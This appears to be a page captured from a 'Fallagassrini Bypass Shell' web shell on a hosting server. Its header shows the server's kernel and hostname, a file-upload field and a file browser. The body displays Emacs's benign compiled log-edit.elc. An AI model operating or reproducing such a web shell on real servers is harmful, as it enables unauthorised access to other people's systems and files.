? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /usr/share/emacs/24.3/lisp/vc/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : //usr/share/emacs/24.3/lisp/vc/log-edit.elc

;ELC
;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:08:53 2024
;;; from file /builddir/build/BUILD/emacs-24.3/lisp/vc/log-edit.el
;;; in Emacs version 24.3.1
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(byte-code "\300\301!\210\300\302!\210\300\303!\210\304\305\306\307\310\311\310\312\313\314\315\316&\207" [require add-log pcvs-util ring custom-declare-group log-edit nil "Major mode for editing RCS and CVS commit messages." :group pcl-cvs vc :version "21.1" :prefix "log-edit-"] 12)
#@72 Keymap for the `log-edit-mode' (to edit version control log messages).
(defconst log-edit-mode-map (byte-code "\301\302\303\304\300!\205\n\305\306D$\207" [log-edit-mode-map easy-mmode-define-keymap (("" . log-edit-done) ("" . log-edit-insert-changelog) ("" . log-edit-show-diff) ("" . log-edit-show-files) ("\356" . log-edit-next-comment) ("\360" . log-edit-previous-comment) ("\362" . log-edit-comment-search-backward) ("\363" . log-edit-comment-search-forward) ("?" . log-edit-mode-help)) nil boundp :group log-edit] 6) (#$ . 840))
(defvar vc-log-mode-map log-edit-mode-map)
(defvar vc-log-entry-mode vc-log-mode-map)
#@32 Menu used for `log-edit-mode'.
(defvar log-edit-menu nil (#$ . 1477))
(byte-code "\301\302\303\304$\210\305\306\307\310\311DD\312\313\314\315\316&\210\305\317\307\310\320DD\321\313\314\315\322&\210\305\323\307\310\324DD\325\313\314\315\326&\210\305\327\307\310\330DD\331\313\314\315\322&\210\305\332\307\310\333DD\334\313\314\315\335&\210\305\336\307\310\337DD\340\313\314\315\341&\210\305\342\307\310\343DD\344\313\314\315\345&\210\305\346\307\310\347DD\350\315\322\351\352\313\314\353\354&\207" [log-edit-mode-map easy-menu-do-define log-edit-menu "Menu used for `log-edit-mode'." ("Log-Edit" ["Done" log-edit-done :help "Exit log-edit and proceed with the actual action."] "--" ["Insert ChangeLog" log-edit-insert-changelog :help "Insert a log message by looking at the ChangeLog"] ["Add to ChangeLog" log-edit-add-to-changelog :help "Insert this log message into the appropriate ChangeLog file"] "--" ["Show diff" log-edit-show-diff :help "Show the diff for the files to be committed."] ["List files" log-edit-show-files :help "Show the list of relevant files."] "--" ["Previous comment" log-edit-previous-comment :help "Cycle backwards through comment history"] ["Next comment" log-edit-next-comment :help "Cycle forwards through comment history."] ["Search comment forward" log-edit-comment-search-forward :help "Search forwards through comment history for a substring match of str"] ["Search comment backward" log-edit-comment-search-backward :help "Search backwards through comment history for substring match of str"]) custom-declare-variable log-edit-confirm funcall function #[0 "\300\207" [changed] 1 "\n\n(fn)"] "If non-nil, `log-edit-done' will request confirmation.\nIf 'changed, only request confirmation if the list of files has\n  changed since the beginning of the log-edit session." :group log-edit :type (choice (const changed) (const t) (const nil)) log-edit-keep-buffer #[0 "\300\207" [nil] 1 "\n\n(fn)"] "If non-nil, don't hide the buffer after `log-edit-done'." boolean log-edit-require-final-newline #[0 "\300\207" [t] 1 "\n\n(fn)"] "Enforce a newline at the end of commit log messages.\nEnforce it silently if t, query if non-nil and don't do anything if nil." (choice (const ask) (const t) (const nil)) log-edit-setup-invert #[0 "\300\207" [nil] 1 "\n\n(fn)"] "Non-nil means `log-edit' should invert the meaning of its SETUP arg.\nIf SETUP is 'force, this variable has no effect." log-edit-hook #[0 "\300\207" [(log-edit-insert-cvs-template log-edit-show-files log-edit-insert-changelog)] 1 "\n\n(fn)"] "Hook run at the end of `log-edit'." (hook :options (log-edit-insert-changelog log-edit-insert-cvs-rcstemplate log-edit-insert-cvs-template log-edit-insert-filenames)) log-edit-mode-hook #[0 "\301\300!\205\207" [vc-log-mode-hook boundp] 2 "\n\n(fn)"] "Hook run when entering `log-edit-mode'." hook log-edit-done-hook #[0 "\300\207" [nil] 1 "\n\n(fn)"] "Hook run before doing the actual commit.\nThis hook can be used to cleanup the message, enforce various\nconventions, or to allow recording the message in some other database,\nsuch as a bug-tracking system.  The list of files about to be committed\ncan be obtained from `log-edit-files'." (hook :options (log-edit-set-common-indentation log-edit-add-to-changelog)) log-edit-strip-single-file-name #[0 "\300\207" [nil] 1 "\n\n(fn)"] "If non-nil, remove file name from single-file log entries." :safe booleanp :version "24.1"] 12)
#@955 If non-nil, include full ChangeLog paragraphs in the log.
This may be set in the ``local variables'' section of a ChangeLog, to
indicate the policy for that ChangeLog.

A ChangeLog paragraph is a bunch of log text containing no blank lines;
a paragraph usually describes a set of changes with a single purpose,
but perhaps spanning several functions in several files.  Changes in
different paragraphs are unrelated.

You could argue that the log entry for a file should contain the
full ChangeLog paragraph mentioning the change to the file, even though
it may mention other files, because that gives you the full context you
need to understand the change.  This is the behavior you get when this
variable is set to t.

On the other hand, you could argue that the log entry for a change
should contain only the text for the changes which occurred in that
file, because the log is per-file.  This is the behavior you get
when this variable is set to nil.
(defvar log-edit-changelog-full-paragraphs t (#$ . 4910))
(defconst log-edit-files-buf "*log-edit-files*")
(defvar log-edit-initial-files nil)
(defvar log-edit-callback nil)
(defvar log-edit-diff-function nil)
(defvar log-edit-listfun nil)
(defvar log-edit-parent-buffer nil)
#@46 VC fileset corresponding to the current log.
(defvar log-edit-vc-backend nil (#$ . 6146))
#@55 Maximum number of saved comments in the comment ring.
(defconst log-edit-maximum-comment-ring-size 32 (#$ . 6242))
(byte-code "\300\301\302\303#\210\304\211\203(\211@\301N\203!\302N\204!\305\302\301N#\210A\266\202\202\210\306\301\302\307#\207" [defvaralias vc-comment-ring log-edit-comment-ring nil (saved-value saved-variable-comment) put make-obsolete-variable "22.1"] 7)
(defvar log-edit-comment-ring (make-ring log-edit-maximum-comment-ring-size))
(byte-code "\300\301\302\303#\210\304\211\203(\211@\301N\203!\302N\204!\305\302\301N#\210A\266\202\202\210\306\301\302\307#\207" [defvaralias vc-comment-ring-index log-edit-comment-ring-index nil (saved-value saved-variable-comment) put make-obsolete-variable "22.1"] 7)
(defvar log-edit-comment-ring-index nil)
(defvar log-edit-last-comment-match "")
#@127 Return the comment index STRIDE elements from the current one.
LEN is the length of `log-edit-comment-ring'.

(fn STRIDE LEN)
(defalias 'log-edit-new-comment-index #[514 "\301\203\\\202\302V\203S\202\"\207" [log-edit-comment-ring-index mod 0] 5 (#$ . 7073)])
#@101 Cycle backwards through comment history.
With a numeric prefix ARG, go back ARG comments.

(fn ARG)
(defalias 'log-edit-previous-comment #[257 "\302!\211\303X\203\304\305!\210\306 \202&ed|\210\307\"\304\310	T\"\210\311	\"c\207" [log-edit-comment-ring log-edit-comment-ring-index ring-length 0 message "Empty comment ring" ding log-edit-new-comment-index "Comment %d" ring-ref] 5 (#$ . 7354) "*p"])
#@103 Cycle forwards through comment history.
With a numeric prefix ARG, go forward ARG comments.

(fn ARG)
(defalias 'log-edit-next-comment #[257 "\300[!\207" [log-edit-previous-comment] 3 (#$ . 7767) "*p"])
#@206 Search backwards through comment history for substring match of STR.
If the optional argument STRIDE is present, that is a step-width to use
when going through the comment ring.

(fn STR &optional STRIDE)
(defalias 'log-edit-comment-search-backward #[513 "\211\204\303\262\304\230\203\262\202\305!\306	!\307\"\211Y\204+\211\310W\203/\311\312!\210\313\314	\"\"\204A\211\\\262\202\211\315\310!\207" [log-edit-last-comment-match log-edit-comment-ring log-edit-comment-ring-index 1 "" regexp-quote ring-length log-edit-new-comment-index 0 error "Not found" string-match ring-ref log-edit-previous-comment] 10 (#$ . 7978) (byte-code "\301\302\303\211$C\207" [log-edit-last-comment-match read-string "Comment substring: " nil] 5)])
#@81 Search forwards through comment history for a substring match of STR.

(fn STR)
(defalias 'log-edit-comment-search-forward #[257 "\300\301\"\207" [log-edit-comment-search-backward -1] 4 (#$ . 8737) (byte-code "\301\302\303\211$C\207" [log-edit-last-comment-match read-string "Comment substring: " nil] 5)])
#@338 Enter last VC comment into the change log for the current file.
WHOAMI (interactive prefix) non-nil means prompt for user name
and site.  FILE-NAME is the name of the change log; if nil, use
`change-log-default-name'.

This may be useful as a `log-edit-checkin-hook' to update change logs
automatically.

(fn &optional WHOAMI FILE-NAME)
(defalias 'log-edit-comment-to-change-log #[512 "\303\304\"\305\306\306\262\307\310\211$\210\212c\210\311 )\262\312\313!\203%\314\315!\210\316 \210\317 \212`W\203:\320y\210\211j\210\202+`\262)\210\n\321P\322 \210\323`\"\210)\324\325\"\210\314\326\325![!\210m\206d\312\327!\206d\330c)\207" [log-edit-comment-ring add-log-current-defun-function paragraph-start ring-ref 0 ignore nil add-change-log-entry t point-marker looking-at "\\s *\\s(" delete-char -2 just-one-space current-indentation 1 "\\|\\s *\\s(" beginning-of-line fill-region skip-syntax-forward " " skip-syntax-backward "\n\n" "\n"] 10 (#$ . 9053) (byte-code "\205\301 D\207" [current-prefix-arg prompt-for-change-log-name] 2)])
(byte-code "\300\301\302\303#\210\304\301\302\305#\210\300\306\307\303#\210\304\306\307\305#\210\300\310\311\303#\210\304\310\311\305#\210\300\312\313\303#\210\304\312\313\305#\210\300\314\315\303#\210\304\314\315\305#\210\316\317\320\321#\210\316\322\323\324#\210\316\325\326\327#\207" [defalias vc-previous-comment log-edit-previous-comment nil make-obsolete "22.1" vc-next-comment log-edit-next-comment vc-comment-search-reverse log-edit-comment-search-backward vc-comment-search-forward log-edit-comment-search-forward vc-comment-to-change-log log-edit-comment-to-change-log custom-declare-face log-edit-summary ((t :inherit font-lock-function-name-face)) "Face for the summary in `log-edit-mode' buffers." log-edit-header ((t :inherit font-lock-keyword-face)) "Face for the headers in `log-edit-mode' buffers." log-edit-unknown-header ((t :inherit font-lock-comment-face)) "Face for unknown headers in `log-edit-mode' buffers."] 4)
#@63 AList of known headers and the face to use to highlight them.
(defvar log-edit-headers-alist '(("Summary" . log-edit-summary) ("Fixes") ("Author")) (#$ . 11046))
#@102 Regular expression matching a header field.
The first subexpression is the actual text of the field.
(defconst log-edit-header-contents-regexp "[ 	]*\\(.*\\(\n[ 	].*\\)*\\)\n?" (#$ . 11215))
(defalias 'log-edit-match-to-eoh #[257 "`\300 \210`W?\205\301`D!\210`\207" [rfc822-goto-eoh set-match-data] 5 "\n\n(fn LIMIT)"])
(defvar log-edit-font-lock-keywords (byte-code "\301\302P\303B\304BBC\207" [log-edit-header-contents-regexp log-edit-match-to-eoh "^\\(\\([[:alpha:]-]+\\):\\)" ((progn (goto-char (match-beginning 0)) (match-end 0)) nil (1 (if (assoc-string (match-string 2) log-edit-headers-alist t) 'log-edit-header 'log-edit-unknown-header) nil lax) (3 (or (cdr (assoc-string (match-string 2) log-edit-headers-alist t)) 'log-edit-header) nil lax)) (("^\n" (progn (goto-char (match-end 0)) (1+ (match-end 0))) nil (0 '(:height 0.1 :inverse-video t))))] 3))
#@75 If non-nil, highlight common failures to follow the GNU coding standards.
(defvar log-edit-font-lock-gnu-style nil (#$ . 12087))
(put 'log-edit-font-lock-gnu-style 'safe-local-variable 'booleanp)
(defconst log-edit-font-lock-gnu-keywords '(("^[ 	]*\\(?:\\* .*\\)?\\(([^\n)]*,\\s-*\\)$" (1 '(face font-lock-warning-face help-echo "Continue function lists with \")\\n(\".") t)) ("):[ 	\n]*[[:alpha:]]+\\(ed\\)\\>" (1 '(face font-lock-warning-face help-echo "Use present tense.") t)) ("): [a-z]" (0 '(face font-lock-warning-face help-echo "Capitalize.") t)) ("[^[:upper:]]\\(\\. [[:upper:]]\\)" (1 '(face font-lock-warning-face help-echo "Use two spaces to end a sentence") t)) ("^(" (0 (let ((beg (max (point-min) (- (match-beginning 0) 2)))) (put-text-property beg (match-end 0) 'font-lock-multiline t) (if (eq (char-syntax (char-after beg)) 119) '(face font-lock-warning-face help-echo "Punctuate previous line."))) t))))
(defalias 'log-edit-font-lock-keywords #[0 "\203	\303	\n\"\207	\207" [log-edit-font-lock-gnu-style log-edit-font-lock-keywords log-edit-font-lock-gnu-keywords append] 3 "\n\n(fn)"])
#@1194 Setup a buffer to enter a log message.
The buffer is put in mode MODE or `log-edit-mode' if MODE is nil.
\<log-edit-mode-map>
If SETUP is non-nil, erase the buffer and run `log-edit-hook'.
Set mark and point around the entire contents of the buffer, so
that it is easy to kill the contents of the buffer with
\[kill-region].  Once the user is done editing the message,
invoking the command \[log-edit-done] (`log-edit-done') will
call CALLBACK to do the actual commit.

PARAMS if non-nil is an alist of variables and buffer-local
values to give them in the Log Edit buffer.  Possible keys and
associated values:
 `log-edit-listfun' -- function taking no arguments that returns the list of
 files that are concerned by the current operation (using relative names);
 `log-edit-diff-function' -- function taking no arguments that
 displays a diff of the files concerned by the current operation.
 `vc-log-fileset' -- the VC fileset to be committed (if any).

If BUFFER is non-nil `log-edit' will jump to that buffer, use it
to edit the log message and go back to the current buffer when
done.  Otherwise, it uses the current buffer.

(fn CALLBACK &optional SETUP PARAMS BUFFER MODE &rest IGNORE)
(defalias 'log-edit #[1409 "p\203	\305!\210\203\306=\204?\262\203&\307 \210\310c\210\212\311c\210)\2030 \210\2023\312 \210\313\301!\210<\203Y\211\203U\211@\313@!AL\210A\266\202\202@\210\202_\313\302!\210\203i\313\303!\210\211\313\304!\210\314 \203x\315\316!\210eb\210\317d!\210\320\321\322\323!\"\207" [log-edit-setup-invert log-edit-callback log-edit-listfun log-edit-parent-buffer log-edit-initial-files pop-to-buffer force erase-buffer "Summary: \nAuthor: " "\n\n" log-edit-mode make-local-variable log-edit-files run-hooks log-edit-hook push-mark message "%s" substitute-command-keys "Press \\[log-edit-done] when you are done editing."] 11 (#$ . 13201)])
(byte-code "\300\301N\204\302\300\301\303\304!#\210\305\306!\204\302\306\307\310#\210\300\207" [log-edit-mode-hook variable-documentation put purecopy "Hook run when entering Log-Edit mode.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it.  (This is true for all hook variables.)" boundp log-edit-mode-map definition-name log-edit-mode] 5)
(defvar log-edit-mode-map (make-sparse-keymap))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\305\306!\204\302\306\307\310#\210\300\207" [log-edit-mode-map variable-documentation put purecopy "Keymap for `log-edit-mode'." boundp log-edit-mode-syntax-table definition-name log-edit-mode] 5)
(defvar log-edit-mode-syntax-table (make-syntax-table))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\302\305\306\307#\207" [log-edit-mode-syntax-table variable-documentation put purecopy "Syntax table for `log-edit-mode'." log-edit-mode-abbrev-table definition-name log-edit-mode] 5)
(defvar log-edit-mode-abbrev-table (progn (define-abbrev-table 'log-edit-mode-abbrev-table nil) log-edit-mode-abbrev-table))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\302\305\306\307#\207" [log-edit-mode-abbrev-table variable-documentation put purecopy "Abbrev table for `log-edit-mode'." log-edit-mode derived-mode-parent text-mode] 5)
#@526 Major mode for editing version-control log messages.
When done editing the log entry, just type \[log-edit-done] which
will trigger the actual commit of the file(s).
Several other handy support commands are provided of course and
the package from which this is used might also provide additional
commands (under C-x v for VC, for example).

\{log-edit-mode-map}

In addition to any hooks its parent mode `text-mode' might have run,
this mode runs the hook `log-edit-mode-hook', as the final step
during initialization.

(fn)
(defalias 'log-edit-mode #[0 "\306\300!\210\307\310 \210\311\312\310\313N\203\314\311\313\310\313N#\210\315!\204'\316\317 \"\210\320\f!\211\2035\211\321 =\203;\322\f\323 \"\210\210\324
\325\"\204R
=\204R\326
\325C#\210\327!\210\330\f!\210
\306\331!\210\332\306\333!\210\334 \210)\335\336!\207" [delay-mode-hooks major-mode mode-name log-edit-mode-map log-edit-mode-syntax-table log-edit-mode-abbrev-table make-local-variable t text-mode log-edit-mode "Log-Edit" mode-class put keymap-parent set-keymap-parent current-local-map char-table-parent standard-syntax-table set-char-table-parent syntax-table abbrev-table-get :parents abbrev-table-put use-local-map set-syntax-table font-lock-defaults (log-edit-font-lock-keywords t) log-edit-comment-ring-index hack-dir-local-variables-non-file-buffer run-mode-hooks log-edit-mode-hook local-abbrev-table] 5 (#$ . 16421) nil])
(defalias 'log-edit-hide-buf #[512 "\301\206!\211\262\2052\302\"\211\203.\303\304\305\306\307\310\311!\312\"\313\314%D\315\304\316\303EDC\217\210\210\317!\207" [log-edit-files-buf get-buffer get-buffer-window #1=#:err funcall make-byte-code 0 "\301\300!\207" vconcat vector [delete-window] 2 "\n\n(fn)" error #[257 "\300\207" [nil] 2 "\n\n(fn IGNORED)"] bury-buffer] 11 "\n\n(fn &optional BUF WHERE)"])
#@119 Finish editing the log message and commit the files.
If you want to abort the commit, simply delete the buffer.

(fn)
(defalias 'log-edit-done #[0 "eb\210\306\307P!\203\"\310\224\310\225b\210\311\312\313\314!\"\203\211`|\210\210\202eb\210\306\315!\2031\310\224\310\225|\210db\210\316\317!\210\320f\321\232\203B\314u\210`d|\210deV\203pdSf\321U\204p	\322=\204h	\203p\323\324\325\326 \"!\203p\212db\210\321c\210)\327 \330\n!\204\201\211\331\n\310\"\232\204\206\332\n\"\210\210\333!\f\203\261\f\334=\203\233\335 
\232\204\261\336 \210\323\337!\204\261\211\204\253\340 \210\341\342!\202\314\343\344!\210\340 \210'\204\310(\203\310\345p(\"\210\346)!\207" [log-edit-header-contents-regexp log-edit-require-final-newline log-edit-comment-ring log-edit-files-buf log-edit-confirm log-edit-initial-files looking-at "^[a-z]*:" 0 string-match "\\`[ \n	]*\\'" match-string 1 "\\([ 	]*\n\\)+" skip-syntax-backward " " nil 10 t y-or-n-p format "Buffer %s does not end in newline.  Add one? " buffer-name buffer-string ring-empty-p ring-ref ring-insert get-buffer-window changed log-edit-files log-edit-show-files "Really commit? " log-edit-hide-buf message "Oh, well!  Later maybe?" run-hooks log-edit-done-hook cvs-bury-buffer call-interactively log-edit-keep-buffer log-edit-parent-buffer log-edit-callback] 5 (#$ . 18260) nil])
#@64 Return the list of files that are about to be committed.

(fn)
(defalias 'log-edit-files #[0 "\300\301\302D\303\301\304\300EDC\217\207" [#1=#:err funcall #[0 " \207" [log-edit-listfun] 1 "\n\n(fn)"] error #[257 "\300\207" [nil] 2 "\n\n(fn IGNORED)"]] 6 (#$ . 19611)])
#@49 Provide help for the `log-edit-mode-map'.

(fn)
(defalias 'log-edit-mode-help #[0 "\302=\203\n\303	!\207\304\305\306\307!\"\207" [last-command major-mode log-edit-mode-help describe-function message "%s" substitute-command-keys "Type `\\[log-edit-done]' to finish commit.  Try `\\[describe-function] log-edit-done' for more help."] 4 (#$ . 19886) nil])
(byte-code "\300\301\302\303\304DD\305\306\307\310\311&\207" [custom-declare-variable log-edit-common-indent funcall function #[0 "\300\207" [0] 1 "\n\n(fn)"] "Minimum indentation to use in `log-edit-set-common-indentation'." :group log-edit :type integer] 8)
#@74 (Un)Indent the current buffer rigidly to `log-edit-common-indent'.

(fn)
(defalias 'log-edit-set-common-indentation #[0 "\212d\301 \210`dW\203\302\303!\204\211\304 ^\262\305y\210\202\301 \210\306`dZ#\262)\207" [log-edit-common-indent rfc822-goto-eoh looking-at "^[ 	]*$" current-indentation 1 indent-rigidly] 6 (#$ . 20508)])
#@52 Show the diff for the files to be committed.

(fn)
(defalias 'log-edit-show-diff #[0 "\301!\203	 \207\302\303!\207" [log-edit-diff-function functionp error "Diff functionality has not been setup"] 2 (#$ . 20850) nil])
#@47 Show the list of files to be committed.

(fn)
(defalias 'log-edit-show-files #[0 "\302 \303!r\211q\210\304\305\"\210\306\307 \210\310!\210\311eb\210\312 r\313\314\315\316\317\320!\321\"\322\323%DC\216\324!\210\325 \210\326 *\262)\207" [log-edit-files-buf buffer-read-only log-edit-files get-buffer-create log-edit-hide-buf all nil erase-buffer cvs-insert-strings t internal--before-save-selected-window funcall make-byte-code 0 "\301\300!\207" vconcat vector [internal--after-save-selected-window] 2 "\n\n(fn)" cvs-pop-to-buffer-same-frame shrink-window-if-larger-than-buffer selected-window] 10 (#$ . 21077) nil])
#@48 Return non-nil if the buffer is "empty".

(fn)
(defalias 'log-edit-empty-buffer-p #[0 "edU\206\212eb\210\300\301!\203\302\303y!\204\nm)\207" [looking-at "^\\([a-zA-Z]+: ?\\)?$" zerop 1] 2 (#$ . 21707)])
#@117 Insert the template specified by the CVS administrator, if any.
This simply uses the local CVS/Template file.

(fn)
(defalias 'log-edit-insert-cvs-template #[0 "\300\301!\204\302 \205\303\304!\205db\210\305\304!\207" [called-interactively-p interactive log-edit-empty-buffer-p file-readable-p "CVS/Template" insert-file-contents] 2 (#$ . 21922) nil])
#@141 Insert the rcstemplate from the CVS repository.
This contacts the repository to get the rcstemplate file and
can thus take some time.

(fn)
(defalias 'log-edit-insert-cvs-rcstemplate #[0 "\300\301!\204\302 \205\303\304!\205db\210\305\306\307\310\307\311\312\313&\207" [called-interactively-p interactive log-edit-empty-buffer-p file-readable-p "CVS/Root" call-process "cvs" nil (t nil) "checkout" "-p" "CVSROOT/rcstemplate"] 8 (#$ . 22286) nil])
#@58 Insert the list of files that are to be committed.

(fn)
(defalias 'log-edit-insert-filenames #[0 "\300\301\302\303 \304#\261\207" ["Affected files:  \n" mapconcat identity log-edit-files "  \n"] 5 (#$ . 22745) nil])
#@68 Insert this log message into the appropriate ChangeLog file.

(fn)
(defalias 'log-edit-add-to-changelog #[0 "\302 \303\304\"\230\204\305\302 \"\210\306 \211\205(\211@\307!\212\310 \210*A\266\202\202\207" [log-edit-comment-ring buffer-file-name buffer-string ring-ref 0 ring-insert log-edit-files expand-file-name log-edit-comment-to-change-log] 4 (#$ . 22969) nil])
(defvar log-edit-changelog-use-first nil)
#@273 Rule to rewrite bug numbers into Fixes: headers.
The value should be of the form (REGEXP . REPLACEMENT)
where REGEXP should match the expression referring to a bug number
in the text, and REPLACEMENT is an expression to pass to `replace-match'
to build the Fixes: header.
(defvar log-edit-rewrite-fixes nil (#$ . 23394))
(put 'log-edit-rewrite-fixes 'safe-local-variable #[257 "\211\242;\205	\211A;\207" [] 2 "\n\n(fn V)"])
(defalias 'log-edit-add-field #[514 "\300 \210\212\301\302\303Q\304\305#)\203\306\307P\305\211\304\310%\207\311\312\313\312!\203(\314\202)\312\261\207" [rfc822-goto-eoh re-search-backward "^" ":\\([ 	]*\\)$" nil t replace-match " " 1 ": " "\n" looking-at ""] 8 "\n\n(fn FIELD VALUE)"])
#@748 Insert a log message by looking at the ChangeLog.
The idea is to write your ChangeLog entries first, and then use this
command to commit your changes.

To select default log text, we:
- find the ChangeLog entries for the files to be checked in,
- verify that the top entry in the ChangeLog is on the current date
  and by the current user; if not, we don't provide any default text,
- search the ChangeLog entry for paragraphs containing the names of
  the files we're checking in, and finally
- use those paragraphs as the log text.

If the optional prefix arg USE-FIRST is given (via \[universal-argument]),
or if the command is repeated a second time in a row, use the first log entry
regardless of user name or time.

(fn &optional USE-FIRST)
(defalias 'log-edit-insert-changelog #[256 "\212\304 \210`)`X\203\211b\210\305\306!\203\307u\210\210\211\206 \310=\311\312 !)\313 \210\211\2032\314\315\"\210\n:\203U\304 \210\316\n@\317\320#\203U\321\224\321\225\322\nA!|\210\314\323\"\266\203\207\304 \210\305\306!\203e\307u\210\305\324!\203\207`\307y\210\316\325\317\320#\204\206\211b\210\326\317w\210\327\317w\210\211`|\210\210eb\207" [last-command log-edit-changelog-use-first log-edit-rewrite-fixes log-edit-strip-single-file-name rfc822-goto-eoh looking-at "\n" 1 log-edit-insert-changelog log-edit-insert-changelog-entries log-edit-files log-edit-set-common-indentation log-edit-add-field "Author" re-search-forward nil t 0 match-substitute-replacement "Fixes" "\\*\\s-+" "^\\*\\s-+" "^():" ": "] 8 (#$ . 24121) "P"])
#@192 Narrow to the top page of the current buffer, a ChangeLog file.
Actually, the narrowed region doesn't include the date line.
A "page" in a ChangeLog file is the area between two dates.

(fn)
(defalias 'log-edit-narrow-changelog #[0 "\301=\204\n\302\303!\210eb\210\304y\210\305\306!\203\307\225b\210`\310\304!\210\211`}\210eb\207" [major-mode change-log-mode error "log-edit-narrow-changelog: current buffer isn't a ChangeLog" 1 looking-at "[ 	\n]*\n" 0 forward-page] 3 (#$ . 25670)])
#@131 Return the bounds of the ChangeLog paragraph containing point.
If we are between paragraphs, return the previous paragraph.

(fn)
(defalias 'log-edit-changelog-paragraph #[0 "\300 \210\301\302!\203
\303ex\210\304\305\306\307#\203\310\225b\210`\311\312\306\313#\203'\310\224\202(dD\207" [beginning-of-line looking-at "^[ 	]*$" " 	\n" re-search-backward "^[ 	]*\n" nil or-to-limit 0 re-search-forward "^[ 	\n]*$" t] 5 (#$ . 26165)])
#@214 Return the bounds of the ChangeLog subparagraph containing point.
A subparagraph is a block of non-blank lines beginning with an asterisk.
If we are between sub-paragraphs, return the previous subparagraph.

(fn)
(defalias 'log-edit-changelog-subparagraph #[0 "\300\210\301\302\300\303#\203\"\304 \210`\305y\210\306\307\300\303#\203\310\224\202 dD\207``D\207" [nil search-backward "*" t beginning-of-line 1 re-search-forward "^[ 	]*[\n*]" 0] 5 (#$ . 26608)])
#@224 Return the bounds of the ChangeLog entry containing point.
The variable `log-edit-changelog-full-paragraphs' decides whether an
"entry" is a paragraph or a subparagraph; see its documentation string
for more details.

(fn)
(defalias 'log-edit-changelog-entry #[0 "\212\203\n\301 \202\f\302 )\207" [log-edit-changelog-full-paragraphs log-edit-changelog-paragraph log-edit-changelog-subparagraph] 1 (#$ . 27079)])
#@96 See if ChangeLog entry at point is for the current user, today.
Return non-nil if it is.

(fn)
(defalias 'log-edit-changelog-ours-p #[0 "\306\300!\203\n\206\307\301!\203\301 \206\306\301!\205	\306\302!\203&\n\206-\306\303!\205-\306\304!\203>\310\f!\203>\f \206A\311\312!
\204T\313\314\315\316$!!\202\231\313\317!\205\231\306\320!\203\230\313\315\321\314!\"!\204\230\313\322!\203\230\323\324\325\326\327!#\203\207\330\314!\"\204\227\203\224\331Q\202\225\211\210\332\207" [add-log-full-name user-full-name add-log-mailing-address user-mail-address add-log-time-format log-edit-changelog-use-first boundp fboundp functionp format-time-string "%Y-%m-%d" looking-at regexp-quote format "%s  %s  <%s>" "[^ 	]" log-edit-author ".+  .+  <%s>" ".+  \\(.+  <.+>\\)" replace-regexp-in-string "  " " " match-string 1 string-match ", " t] 10 (#$ . 27500)])
#@270 Return the ChangeLog entries for FILE, and the ChangeLog they came from.
The return value looks like this:
  (LOGBUFFER (ENTRYSTART ENTRYEND) ...)
where LOGBUFFER is the name of the ChangeLog buffer, and each
(ENTRYSTART . ENTRYEND) pair is a buffer region.

(fn FILE)
(defalias 'log-edit-changelog-entries #[257 "\303\304!!\305!\306\262\211\203!\307\301\"\203!r\211q\210	)\202%\306\310 )\266\202r\311!q\210\n\312=\2047\312 \210eb\210\313\314!\203D\315\225b\210\316 \204NpC\202\257\214\317 \210eb\210\320\303!\"\211\321\230\204k\212\322\306\323#)\204p\324!\262\325\326!\327Q\262\306`m\204\247\330\306\323#\203\247\331 \211\332\234T`]W\204\230\211B\262T\332\234]\262b\266\202zpB\266\202\262))\207" [default-directory change-log-default-name major-mode file-name-directory expand-file-name find-buffer-visiting nil local-variable-p find-change-log find-file-noselect change-log-mode looking-at "\\s-*\n" 0 log-edit-changelog-ours-p log-edit-narrow-changelog file-relative-name "" search-forward t file-name-nondirectory "\\(^\\|[^[:alnum:]]\\)" regexp-quote "\\($\\|[^[:alnum:]]\\)" re-search-forward log-edit-changelog-entry 1] 9 (#$ . 28396)])
#@142 Insert the text from BUFFER between BEG and END.
Rename relative filenames in the ChangeLog entry as FILES.

(fn BUFFER BEG END &rest FILES)
(defalias 'log-edit-changelog-insert-entries #[899 "`\301!\302\211\302\262\303#\210\304 \262\203I\211\203H\211@\212b\210\305\306\307\310	!\"\311Q\312#\203@\313\312\211\302\314%\210)A\266\202\202\210\212b\210\305\315\312#\205\\\313\316!\210\202M*\207" [case-fold-search buffer-file-name nil insert-buffer-substring point-marker re-search-forward "\\(^\\|[ 	]\\)\\(" file-relative-name file-name-directory "\\)[, :\n]" t replace-match 2 "^\\(	+\\)" ""] 16 (#$ . 29586)])
#@81 Given a list of files FILES, insert the ChangeLog entries for them.

(fn FILES)
(defalias 'log-edit-insert-changelog-entries #[257 "\301\211\211\203O\211@\302!\211@\301\211A\211\203F\211@B\262\303\n\"\211\262\2036\304A	C\"\241\210\202?D	B\262	A\266\202\202\266A\266\202\202\210\211\237\211\203l\211@\305\306\304@A\"\"\210\307c\210A\266\202\202R\210)\207" [log-edit-author nil log-edit-changelog-entries assoc append apply log-edit-changelog-insert-entries "\n"] 14 (#$ . 30230)])
#@281 Toggle a boolean-type header in the current buffer.
If the value of HEADER is VALUE, clear it.  Otherwise, add the
header if it's not present and set it to VALUE.  Then make sure
there is an empty line after the headers.  Return t if toggled
on, otherwise nil.

(fn HEADER VALUE)
(defalias 'log-edit-toggle-header #[514 "\301\302\303R\212\214\304 \210e`}\210eb\210\305\306\307R\310\301#\203>\311\312!\230?\211\262\2033\313\301\211#\210\202A\313\314\301\211\310\312%\210\202A\211c\210)\304 \210\315 \210\316\303!\204Q\303c\210)\207" [log-edit-header-contents-regexp t ": " "\n" rfc822-goto-eoh re-search-forward "^" ":" nil match-string 1 replace-match "" delete-horizontal-space looking-at] 10 (#$ . 30751)])
#@635 Extract headers from COMMENT to form command line arguments.
HEADERS should be an alist with elements (HEADER . CMDARG)
